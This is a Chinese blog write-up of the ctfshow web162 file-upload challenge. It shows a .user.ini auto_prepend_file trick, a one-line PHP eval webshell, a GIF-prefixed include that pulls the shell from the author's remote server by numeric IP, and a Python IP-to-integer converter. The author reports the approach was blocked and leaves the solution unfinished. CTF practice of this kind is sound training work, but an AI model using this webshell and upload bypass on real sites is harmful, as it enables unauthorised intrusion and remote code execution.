首页 > 其他分享 >ctfshow(162)--文件上传漏洞--远程文件包含

ctfshow(162)--文件上传漏洞--远程文件包含

时间:2024-11-06 22:46:21浏览次数:3  
标签:文件 shell -- ip list ctfshow 上传 result

Web162

进入界面:
在这里插入图片描述

思路

先传个文件测试一下过滤:
在这里插入图片描述过滤了特别多符号,注意过滤了点.

我们的思路还是要先上传.user.ini文件:

//修改前
GIF89a
auto_prepend_file=shell.png

//由于过滤了点,所以修改为
GIF89a
auto_prepend_file=shell

上传.user.ini文件
在这里插入图片描述

接下来就是上传包含一句话木马或恶意命令的shell文件。
因为过滤了点,所以我们之前的那些上传方法都不能使用。
这里学习一个新的上传方法:远程文件包含。

现在自己的服务器里写一个shell文件:

<?php @eval($_POST[1]);?>

然后上传一个远程调用文件到目标靶机:

GIF89a
<?=include"http://数字IP/shell"?>

这里的数字IP是指自己服务器的IP地址的纯数字形式.下面是相关脚本:

#IP转换为长整型
def ip2long(ip):
    ip_list=ip.split('.') #⾸先先把ip的组成以'.'切割然后逐次转换成对应的⼆进制
    result = 0
    for i in range(4): #0,1,2,3
        result = result+int(ip_list[i])*256**(3-i)
    return result
 
#长整型转换为IP
def long2ip(long):
    floor_list = []
    num = long
    for i in reversed(range(4)):
        res = divmod(num,256**i)
        floor_list.append(str(res[0]))
        num = res[1]
    return '.'.join(floor_list)
 
print(ip2long('服务器ip地址'))

上传远程调用文件,后缀设置为.png,抓包修改文件名为shell,成功上传。访问/upload目录:
在这里插入图片描述告警,大意是不允许包含外部网站的内容。

到这里卡住了,看了一些WP,说是要用flask。但是上述远程文件包含的思路是对的,使用flask的内容之后再补上。

标签:文件,shell,--,ip,list,ctfshow,上传,result
From: https://blog.csdn.net/m0_56019217/article/details/143581102

相关文章

  • **BMP(Bitmap)**是一种图像文件格式,通常用于存储位图图像。它是最早期的图像格式之一,最
    **BMP(Bitmap)**是一种图像文件格式,通常用于存储位图图像。它是最早期的图像格式之一,最早由微软在Windows操作系统中引入。BMP格式的文件扩展名通常为.bmp,它用于表示由像素网格组成的图像,像素数据存储在文件中,通常没有压缩,因此能够保存原始的图像数据。1. BMP图片格式是什么?......
  • ctfshow(94,95)--PHP特性--strpos函数
    建议先学习intval函数相关内容Web94源代码:include("flag.php");highlight_file(__FILE__);if(isset($_GET['num'])){$num=$_GET['num'];if($num==="4476"){die("nonono!");}if(preg_match("......
  • 【云岚到家】-day09-2-秒杀抢购
    【云岚到家】-day09-2-秒杀抢购4.3抢券4.3.1解决超卖问题1)系统需求2)什么是超卖问题3)悲观锁与乐观锁4)数据库行锁控制方案5)Redis分布式锁方案6)Redis原子操作方案4.3.2Redis原子操作方案1)通过MULTI事务命令实现2)了解Pipeline与MULTI的区别3)Redis+Lua实现4)选择方案5)使......
  • Spring学习记录02
    IoC/DI配置第三方bean案例:数据源对象的管理管理alibaba的druid数据源新建一个工程,结构如下                                        首先需要在pro.xml文件中配置druid对象,添加相关依赖<dependency><groupId>c......
  • 遇到XINPUT1-3.dll未在Windows上指定运行?尝试这些解决方案
    当出现“XINPUT1-3.dll没有被指定在Windows上运行”这样的错误提示时,可能是由于以下几种原因导致的,下面是一些相应的解决方法:一、文件损坏或不兼容1.重新下载DLL文件从可靠的来源获取XINPUT1-3.dll文件。最好是从微软官方网站或者游戏官方网站寻找该文件。避......
  • Vue 3 项目中导入外部的 <link> 和 <script> 资源
    在Vue3项目中,可以通过以下几种方式来导入外部的<link>和<script>资源:导入外部CSS文件方法1:在单个组件中使用 <style> 标签可以在单个Vue组件的<style>部分使用@import语句来导入外部CSS文件:<template><!--组件模板--></template><scriptsetup......
  • 构建使用 Vite 和 Vue 的项目
    构建一个使用Vite和Vue的项目是一项非常实用且快速的方式,能够帮助开发者迅速搭建起一个现代前端应用的基础架构。以下是根据您提供的信息整理出的一个详细的步骤指南,用于指导如何从零开始创建一个Vite+Vue项目。准备工作确保您的计算机已经安装了Node.js。您可以通......
  • 新模块缺少 .iml 文件
    当您在IntelliJIDEA中为现有项目添加新模块时,有时可能会遇到新模块缺少.iml文件的情况。.iml文件是IntelliJIDEA用于存储模块配置的XML文件。没有这个文件,IDE可能无法正确识别模块的设置。下面提供了解决这个问题的方法。解决方案方法一:等待IDEA自动生成 .iml......
  • dvwa-sql注入中级
    因为页面上只能选择相应数字查询,因此需要抓包进行注入;首先通过语句判断是字符型还是数字型:id=1and1=1--+id=1and1=2--+如图,两次返回结果不同,因此这是一个数字型注入。然后依照流程爆出当前表列数和回显位,爆出当前数据库名字(这一步就省略了);接着,要利用information_sch......
  • uBlocklist屏蔽垃圾搜索结果
    近年来特别是Google的中文搜索结果体验越来越差,出现了越来越多「不知所谓」的网站,这些网站通过机器翻译、直接复制的方式「拼接」而成一个网站占据了大量的搜索结果,这类网站就是——「内容牧场」。什么是内容牧场内容农场(或内容工厂,英文名为contentfarm)是指生成大量文字性网......